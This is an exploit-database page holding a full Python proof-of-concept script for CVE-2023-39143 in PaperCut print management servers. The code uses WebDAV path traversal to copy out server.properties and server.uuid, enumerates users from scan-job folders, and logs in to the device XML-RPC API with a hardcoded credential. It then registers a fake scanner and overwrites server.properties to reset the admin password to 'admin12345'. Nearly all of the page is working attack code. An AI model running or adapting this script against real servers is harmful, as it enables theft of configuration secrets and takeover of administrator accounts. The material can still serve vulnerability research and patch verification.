Exploit database

GH-b33f394aa06ac41aaf4c4fb6f134f057

foregenix/cve-2023-39143

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-39143

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files8
foregenix/cve-2023-39143Revision 4d7b5c6ad97d

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2023-39143.py

Python · 27,427 bytes
import xmlrpc.client
import ssl
import argparse
import requests

import sys
import random
import time
import urllib3
from lxml import etree
from urllib.parse import unquote, urlparse, urljoin
import threading
import queue

import os
import re
import http.client
import shutil

from requests.auth import HTTPBasicAuth
from concurrent.futures import ThreadPoolExecutor, as_completed

# Disable SSL warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

visited = set()
visited_lock = threading.Lock()

seen_printed = set()
seen_printed_lock = threading.Lock()

found_users = []

PROPFIND_XML = '''<?xml version="1.0" encoding="utf-8"?>
<propfind xmlns="DAV:">
  <propname/>
</propfind>'''

HEADERS = {
    'Depth': '1',
    'Content-Type': 'application/xml'
}

class WebDAVCrawler:
    def __init__(self, base_url, auth, max_depth=9, max_workers=20):
        self.base_url = base_url
        self.auth = auth
        self.max_depth = max_depth
        self.max_workers = max_workers
        
        # Use sets for O(1) lookup instead of locks for simple membership tests
        self.visited = set()
        self.seen_printed = set()
        self.visited_lock = threading.Lock()
        self.seen_printed_lock = threading.Lock()
        
        # Create session pool for better connection reuse
        self.session_pool = queue.Queue()
        for _ in range(max_workers):
            session = self._create_session()
            self.session_pool.put(session)
    
    def _create_session(self):
        """Create optimized session with connection pooling."""
        session = requests.Session()
        # Optimize connection pooling
        adapter = requests.adapters.HTTPAdapter(
            pool_connections=10,
            pool_maxsize=20,
            max_retries=3,
            pool_block=False
        )
        session.mount('http://', adapter)
        session.mount('https://', adapter)
        
        # Set persistent headers
        session.headers.update(HEADERS)
        session.auth = self.auth
        session.verify = False
        
        return session
    
    def _get_session(self):
        """Get session from pool."""
        try:
            return self.session_pool.get_nowait()
        except queue.Empty:
            return self._create_session()
    
    def _return_session(self, session):
        """Return session to pool."""
        try:
            self.session_pool.put_nowait(session)
        except queue.Full:
            session.close()

    def clean_href(self, href):
        """Optimized href cleaning."""
        if not href:
            return ""
        
        href = unquote(href)
        href = href.replace('\\', '/')
        
        # More efficient double slash removal
        while '//' in href:
            href = href.replace('//', '/')
        
        return href.strip()

    def send_propfind(self, url, max_retries=3):
        """Optimized PROPFIND request with session reuse."""
        session = self._get_session()
        
        try:
            for attempt in range(max_retries):
                try:
                    resp = session.request(
                        method='PROPFIND',
                        url=url,
                        data=PROPFIND_XML,
                        timeout=60  # Reduced timeout
                    )
                    
                    if resp.status_code not in (207, 200):
                        if attempt == max_retries - 1:  # Last attempt
                            print(f"[!] Error {resp.status_code} at {url}", file=sys.stderr)
                        return []

                    # Optimized XML parsing
                    try:
                        root = etree.fromstring(resp.content)
                    except etree.XMLSyntaxError:
                        parser = etree.XMLParser(recover=True)
                        root = etree.fromstring(resp.content, parser=parser)

                    items = []
                    # More efficient XPath with namespace registration
                    root_nsmap = {'d': 'DAV:'} if 'd' not in (root.nsmap or {}) else root.nsmap
                    
                    for response in root.xpath('//d:response', namespaces=root_nsmap):
                        href_elem = response.find('{DAV:}href')
                        if href_elem is None or not href_elem.text:
                            continue
                            
                        href_text = self.clean_href(href_elem.text)
                        if not href_text:
                            continue

                        # Optimized collection check
                        resourcetype = response.find('.//{DAV:}resourcetype')
                        is_collection = (resourcetype is not None and 
                                       resourcetype.find('{DAV:}collection') is not None)

                        items.append((href_text, is_collection))

                    return items

                except (requests.exceptions.RequestException, etree.XMLSyntaxError) as e:
                    if attempt == max_retries - 1:
                        print(f"[!] Failed after {max_retries} attempts: {url} - {e}", file=sys.stderr)
                    else:
                        time.sleep(0.5 * (attempt + 1))  # Exponential backoff
                        
        finally:
            self._return_session(session)
            
        return []

    def process_url(self, base_path_prefix, depth, log_func):
        """Process a single URL and return new URLs to crawl."""
        # Normalize path (simplified logic)
        if "/../" in base_path_prefix:
            base_path_prefix = base_path_prefix.replace("/", "\\\\")

        if "\\webdav\\" not in base_path_prefix:
            full_url = self.base_url.rstrip('/') + "/webdav/" + base_path_prefix
        else:
            full_url = self.base_url.rstrip('/') + base_path_prefix
            
        if "\\\\webdav\\\\" in full_url:
            full_url = full_url.replace("\\\\webdav\\\\", "/webdav/")

        # Thread-safe visited check
        with self.visited_lock:
            if full_url in self.visited:
                return []
            self.visited.add(full_url)

        items = self.send_propfind(full_url)
        if not items:
            return []

        # Separate dirs and files
        dirs = [href for href, is_dir in items if is_dir]
        files = [href for href, is_dir in items if not is_dir]

        # Batch process printing to reduce lock contention
        new_items_to_print = []
        with self.seen_printed_lock:
            for d in dirs:
                if d and d not in self.seen_printed:
                    new_items_to_print.append(("DIR", d, depth))
                    self.seen_printed.add(d)
            
            for f in files:
                if f:
                    f_display = f.replace("/webdav/../../..", "")
                    if f_display not in self.seen_printed:
                        new_items_to_print.append(("FILE", f_display, depth))
                        self.seen_printed.add(f_display)

        # Print items (outside of lock)
        for item_type, item_path, item_depth in new_items_to_print:
            if item_type == "DIR":
                log_func("  " * item_depth + f"[DIR] {item_path}")
            else:
                #log_func("  " * item_depth + f" - {item_path}")
                tmp_user = item_path.replace("/data/scan/jobs/","")
                tmp_user = tmp_user.replace("/","")
                if len(tmp_user)>0:
                    found_users.append(tmp_user)
                #log_func("  " * item_depth + f" - {item_path}")

        # Return next level items to crawl
        if depth + 1 <= self.max_depth:
            return [(f, depth + 1) for f in files]
        return []

    def crawl(self, start_path, log_func):
        """Main crawling logic using ThreadPoolExecutor."""
        # Use a more efficient work queue
        pending_work = [(start_path, 0)]
        
        with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
            while pending_work:
                # Submit batch of work
                current_batch = pending_work[:self.max_workers * 2]  # Process in batches
                pending_work = pending_work[self.max_workers * 2:]
                
                # Submit futures
                future_to_work = {
                    executor.submit(self.process_url, path, depth, log_func): (path, depth)
                    for path, depth in current_batch
                }
                
                # Collect results
                for future in as_completed(future_to_work):
                    try:
                        new_work = future.result(timeout=120)
                        if new_work:
                            pending_work.extend(new_work)
                    except Exception as e:
                        path, depth = future_to_work[future]
                        print(f"[!] Error processing {path}: {e}", file=sys.stderr)


def log_func(msg):
    print(msg)

def copy_file(base_url, username, password, target_path):
    import random, string
    dest_filename = ''.join(random.choices(string.ascii_lowercase + string.digits, k=16)) + '.png'

    copy_url = urljoin(base_url, f'/webdav/..\\..\\..\\{target_path}')
    headers = {'Destination': dest_filename}

    print(f"[+] Sending COPY request to: {copy_url}")
    print(f"[+] Destination filename: {dest_filename}")

    try:
        r = requests.request('COPY', copy_url, auth=(username, password), headers=headers, verify=False, timeout=120)

        if r.status_code == 404:
            print(f"[!] Error: 404 Not Found — invalid file path: {target_path}")
            return None

        r.raise_for_status()
        print(f"[+] COPY request successful: {r.status_code}")

    except requests.exceptions.HTTPError as e:
        print(f"[!] HTTP Error: {e}")
        return None

    download_url = urljoin(base_url, f'/custom-report-example/..\\..\\..\\data\\scan\\webdav\\{dest_filename}')
    print(f"[+] Downloading copied file from: {download_url}")

    try:
        r2 = requests.get(download_url, verify=False, timeout=120, stream=True)
        r2.raise_for_status()
        content = b''
        for chunk in r2.iter_content(chunk_size=8192):
            if chunk:
                content += chunk
        return content

    except requests.exceptions.ChunkedEncodingError as e:
        print(f"[!] ChunkedEncodingError: {e}")
        if hasattr(e, 'args') and isinstance(e.args[0], http.client.IncompleteRead):
            partial = e.args[0].partial
            print(f"[!] IncompleteRead: {len(partial)} bytes received, returning partial content.")
            return partial
        else:
            raise

def save_file(content, original_path, output_dir):
    normalized_path = original_path.replace('\\', '/')
    safe_rel_path = os.path.normpath(normalized_path).lstrip(os.sep).replace('..', '__')
    full_output_path = os.path.join(output_dir, safe_rel_path)

    try:
        os.makedirs(os.path.dirname(full_output_path), exist_ok=True)
        with open(full_output_path, 'wb') as f:
            f.write(content)
        print(f"[+] Saved copied file to: {full_output_path}")
    except Exception as e:
        print(f"[!] Failed to save file {original_path}: {e}")    

def replace_admin_password(filename, new_password):
    with open(filename, "r", encoding="utf-8") as f:
        lines = f.readlines()

    updated_lines = []
    for line in lines:
        if line.strip().startswith("admin.password="):
            updated_lines.append(f"admin.password={new_password}\n")
        else:
            updated_lines.append(line)

    with open(filename, "w", encoding="utf-8") as f:
        f.writelines(updated_lines)

    print(f"[i] Replaced admin password in {filename}")

def upload_webdav_file(username, password, webdav_url, server_uuid, path, local_file):
    print(username, password, webdav_url, server_uuid, path, local_file)
    """
    Uploads a local file to a WebDAV endpoint using HTTP PUT with basic authentication.

    :param username: WebDAV username
    :param password: WebDAV password
    :param webdav_url: Base WebDAV URL (e.g. https://x.x.x.x:9192/webdav)
    :param server_uuid: Device UUID in the path
    :param path: Remote path to upload to (e.g. ..\..\..\..\test.properties)
    :param local_file: Local file to upload (e.g. test.properties)
    :return: True if upload is successful (201), else False
    """
    #path = path.replace("\\\\", "\\")
    full_url = f"{webdav_url.rstrip('/')}/{server_uuid}/{path}"

    print(f"[i] Uploading '{local_file}' to '{full_url}' as '{username}'")

    try:
        with open(local_file, 'rb') as f:
            response = requests.put(
                full_url,
                data=f,
                auth=HTTPBasicAuth(username, password),
                verify=False  # Disable SSL verification (like `-k` in curl)
            )
        print(f"[+] Upload response code: {response.status_code}")
        if response.status_code == 201:
            print("[+] Upload successful.")
            return True
        else:
            print(f"[-] Upload failed. Server responded with: {response.text}")
            return False
    except Exception as e:
        print(f"[!] Upload failed: {e}")
        return False


def clean_href(href):
    href = unquote(href)
    href = href.replace('\\', '/')
    while '//' in href:
        href = href.replace('//', '/')
    return href.strip()

def send_propfind(url, auth, max_retries=3):
    attempt = 0
    while attempt < max_retries:
        try:
            resp = requests.request(
                method='PROPFIND',
                url=url,
                headers=HEADERS,
                data=PROPFIND_XML,
                auth=auth,
                verify=False,
                timeout=180
            )
            if resp.status_code not in (207, 200):
                print(f"[!] Error {resp.status_code} at {url}")
                return []

            parser = etree.XMLParser(recover=True)
            root = etree.fromstring(resp.content, parser=parser)

            items = []
            for response in root.xpath('//d:response', namespaces={'d': 'DAV:'}):
                href = response.find('{DAV:}href')
                href_text = href.text if href is not None else None
                if not href_text:
                    continue
                href_text = clean_href(href_text)

                resourcetype = response.find('.//{DAV:}resourcetype')
                is_collection = resourcetype is not None and resourcetype.find('{DAV:}collection') is not None

                items.append((href_text, is_collection))

            return items

        except Exception as e:
            print(f"[!] Exception (attempt {attempt + 1}) while requesting {url}: {e}")
            attempt += 1
            if attempt < max_retries:
                time.sleep(1)  # short delay before retry
            else:
                print(f"[!] Failed after {max_retries} attempts: {url}")
                return []

def crawl_worker(base_url, auth, log_func, q, max_depth=None, file_list=None):
    while True:
        try:
            base_path_prefix, depth = q.get(timeout=5)
        except queue.Empty:
            break

        if "/../" in base_path_prefix:
            base_path_prefix = base_path_prefix.replace("/", "\\\\")

        if "\\webdav\\" not in base_path_prefix:
            full_url = base_url.rstrip('/') + "/webdav/" + base_path_prefix
        else:
            full_url = base_url.rstrip('/') + base_path_prefix
        if "\\\\webdav\\\\" in full_url:
            full_url = full_url.replace("\\\\webdav\\\\", "/webdav/")

        with visited_lock:
            if full_url in visited:
                q.task_done()
                continue
            visited.add(full_url)

        items = send_propfind(full_url, auth)
        dirs = []
        files = []

        for href, is_dir in items:
            if is_dir:
                dirs.append(href)
            else:
                files.append(href)

        for d in dirs:
            if d != '':
                with seen_printed_lock:
                    if d not in seen_printed:
                        #log_func("  " * depth + f"[DIR] {d}")
                        seen_printed.add(d)

        for f in files:
            if f != '':
                f_display = f.replace("/webdav/../../..", "")
                with seen_printed_lock:
                    if f_display not in seen_printed:
                        #log_func("  " * depth + f" - {f_display}")
                        seen_printed.add(f_display)

                # ✅ Append to shared file list
                if file_list is not None:
                    with seen_printed_lock:
                        file_list.append(f)

        # Crawl deeper
        for d in files:
            if max_depth is None or depth + 1 <= max_depth:
                q.put((d, depth + 1))

        q.task_done()


# Argument parsing
parser = argparse.ArgumentParser(description="PaperCut integrated scanning test script")
parser.add_argument("--url", required=True, help="PaperCut XML-RPC endpoint URL (e.g., https://x.x.x.x:9192)")
parser.add_argument("--user", required=False, help="Username to simulate scan job for")
parser.add_argument("--password", required=True, help="WebDAV password (required, e.g., from papercut_webdav_brute.py)")
parser.add_argument("--device-id", help="Optional device ID")
parser.add_argument("--debug", action="store_true", help="Enable XML-RPC debug output")
parser.add_argument("-m", "--mode", choices=["download", "upload"], help="Mode: choose 'download' or 'upload'")
parser.add_argument("-f", "--filename", help="Local file to upload (required in upload mode)")
parser.add_argument("--scan-job-id", help="Scan job ID to use when replacing files via path traversal in upload mode. "
                                          "If not provided, a new scan job will be created.")
parser.add_argument(
    "--replace-password",
    action="store_true",
    help="Replace admin password in server.properties with 'admin12345' (default behaviour if not set)"
)
args = parser.parse_args()

# SSL context
context = ssl._create_unverified_context()

if not args.mode:
    args.mode = input("Enter mode (download/upload): ").strip().lower()
    while args.mode not in ("download", "upload"):
        args.mode = input("Invalid mode. Please enter 'download' or 'upload': ").strip().lower()
scan_job_id = None  
if not args.scan_job_id:
    print("[!] --scan-job-id not provided: a new scan job will be created (not replacing existing files)")
else:
    scan_job_id = args.scan_job_id

print(f"Selected mode: {args.mode}")

path = "server.properties"

if args.mode == "download":
    url = urljoin(args.url.rstrip('/') + '/', 'webdav')
    print(f"\n[+] Processing path: {path}")
    safe_path = path.replace('/', '\\')
    content = copy_file(args.url, "papercut-webdav", args.password, safe_path)

    if content is None:
        print(f"[!] Skipping save for failed path: {path}")
        sys.exit()
    save_file(content, safe_path, ".")

new_filename = args.filename

# Only create backup and replace password if --restore is NOT set
if args.mode == "upload":
    if args.replace_password:
        if not args.filename:
            print("[!] In upload mode you must specify -f with a file")
            sys.exit(1)
        if os.path.basename(args.filename) != "server.properties":
            print("[!] Only 'server.properties' is allowed as -f in upload mode")
            sys.exit(1)

        new_filename = "server.properties.modified"
        new_password = "admin12345"
        print(f"[i] Backup created: server.properties.backup")
        shutil.copyfile(path, "server.properties.backup")
        print(f"[i] Backup created: {new_filename}")
        shutil.copyfile(path, new_filename)
        replace_admin_password(new_filename, new_password)
    else:
        print("[i] --replace-password not specified, skipping server.properties modification")  

path = "server.uuid"
server_uuid = ""

webdav_url = ""
#if args.mode == "download":
webdav_url = urljoin(args.url.rstrip('/') + '/', 'webdav')
print(f"\n[+] Processing path: {path}")
safe_path = path.replace('/', '\\')
content = copy_file(args.url, "papercut-webdav", args.password, safe_path)
content_str = content.decode('utf-8')
if content is None:
    print(f"[!] Skipping save for failed path: {path}")
    sys.exit()
pattern = r"server-uuid=([^\r\n]+)"
match = re.search(pattern, content_str)
if match:
    server_uuid = match.group(1)
    print(f"[+] server-uuid: {server_uuid}")
else:
    print("No UUID found")   
    sys.exit() 

# Optional debug transport
if args.debug:
    class DebugSafeTransport(xmlrpc.client.SafeTransport):
        def __init__(self, context=None):
            super().__init__()
            self._context = context

        def make_connection(self, host):
            import http.client
            return http.client.HTTPSConnection(host, context=self._context)

        def send_request(self, connection, handler, request_body, verbose):
            print("\n--- XML-RPC Request ---")
            print(request_body.decode())
            return super().send_request(connection, handler, request_body, verbose)

        def parse_response(self, response):
            data = response.read()
            print("\n--- XML-RPC Response ---")
            print(data.decode(errors='replace'))
            import io
            response = io.BytesIO(data)
            return super().parse_response(response)

    transport = DebugSafeTransport(context=context)
else:
    transport = xmlrpc.client.SafeTransport(context=context)

chosen_user = None

found_users = []
if not args.user:
    ###
    crawler = WebDAVCrawler(
        base_url=args.url,
        auth=("papercut-webdav", args.password),
        max_depth=0,
        max_workers=1
    )    
    start_path = '..\\..\\..\\data\\scan\\jobs\\'  # Hardcoded path
    crawler.crawl(start_path, log_func)

    '''
    discovered_files = []
    q = queue.Queue()
    q.put( ('..\\..\\..\\..\\..\\..\\users', 0) )

    threads = []
    for _ in range(2):
        t = threading.Thread(target=crawl_worker, args=(args.url, ("papercut-webdav", args.password), log_func, q, 0, discovered_files))
        t.daemon = True
        t.start()
        threads.append(t)

    exclusions = {
        "Administrator",
        "All Users",
        "Default",
        "Default User",
        "desktop.ini",
        "Public"
    }

    q.join()  # wait for all queued tasks to complete
    print(f"[+] Discovered Users:")
    for f in discovered_files:
        if "/users/" in f:
            f = f.split("/users/")[1]
            f = f.split("/")[0]
        if f not in exclusions and f!=None:        
            found_users.append(f)
            print(f)
    '''

    chosen_user = found_users.pop()
else:
    chosen_user = args.user


# Build XML-RPC server proxy
server_url = args.url.rstrip("/") + "/rpc/extdevice/xmlrpc"
c = xmlrpc.client.ServerProxy(server_url, transport=transport)

version = '1.5'
creds_list = [('papercut-dev', '155d750995d18f6d4e870e25cb409f67')]  

print(f"[i] Testing credentials against server: {server_url}")

for username, password in creds_list:
    try:
        session_token = c.api.beginSession(username, password, version)
        if not session_token:
            print(f"[-] {username}:{password} → INVALID session token, skipping")
            continue  # skip to next creds
        print(f"[+] {username}:{password} → VALID - session_token: {session_token}")

        device_id = args.device_id

        if device_id:
            # Test scanning
            device_config = c.api.getAllDeviceConfig(session_token, device_id)
            print("[+] getAllDeviceConfig response:", device_config)


        else:
            # No device ID provided, create one
            print("[i] No device ID provided. Creating a test device...")
            capabilities = {
                "scan": ["TRUE"],
                "scan-file-type": ["PDF", "TIFF", "JPEG", "DOCX"],
                "scan-clockwise-rotation": ["NONE", "90", "180", "270"],
                "scan-page-size": ["A1"],
                "scan-orientation": ["PORTRAIT", "LANDSCAPE"],
                "scan-color-mode": ["COLOR", "AUTO"],
                "scan-dpi": ['200', '300', '400', '600'],
                "scan-duplex": ['ENABLED']
            }

            response = c.api.registerDeviceWithCapabilities(session_token, 'test-device-id', 'EPSON', capabilities)
            device_id = response.get('deviceId')
            print(f"[+] Registered device with ID: {device_id}")

            c.api.setDeviceConfigs(session_token, device_id, [["ext-device.integrated-scanning.enabled", "Y"]])
            device_config = c.api.getAllDeviceConfig(session_token, device_id)
            print("[+] getAllDeviceConfig response:", device_config)

        if not args.scan_job_id:
            completed_successful = False
            while completed_successful==False:
                try:
                    print(f"[+] Trying to scan as user: {chosen_user}")
                    result = c.api.integratedScanJobStarted(
                        session_token,
                        device_id,
                        chosen_user,
                        '1001',
                        '1001',
                        {'settings': {}, 'fields': []}
                    )
                    if result.get("status") == "SUCCESS" and "scanJobId" in result:
                        scan_job_id = result["scanJobId"]
                        print(f"[+] Extracted scanJobId: {scan_job_id}")
                    else:
                        print("[!] Failed to extract scanJobId. Response:", result)
                    if (    
                        isinstance(result, dict)
                        and result.get('status') == 'ERROR'
                        and result.get('statusMessage') == 'Unable to create a scan job'
                    ):
                        print("[!] PaperCut may not be configured for integrated scanning or it's disabled on this device.")
                    completed_successful = True
                except Exception as e:
                    if "Transaction rolled back because it has been marked as rollback-only" in str(e):
                        print(e)
                        chosen_user = found_users.pop()

        if args.mode == "upload":        
            if scan_job_id != None:
                upload_status = upload_webdav_file(
                    username="papercut-webdav",
                    password=args.password,
                    webdav_url=webdav_url,
                    server_uuid=scan_job_id,
                    path="..\\..\\..\\..\\server.properties",
                    local_file=new_filename
                )

    except xmlrpc.client.Fault as fault:
        print(f"[!] XML-RPC Fault: {fault.faultString}\n")
    except xmlrpc.client.ProtocolError as err:
        print(f"[!] Protocol error {err.errcode}: {err.errmsg} (URL: {err.url})")
    except Exception as e:
        print(f"[!] Unexpected error: {e}")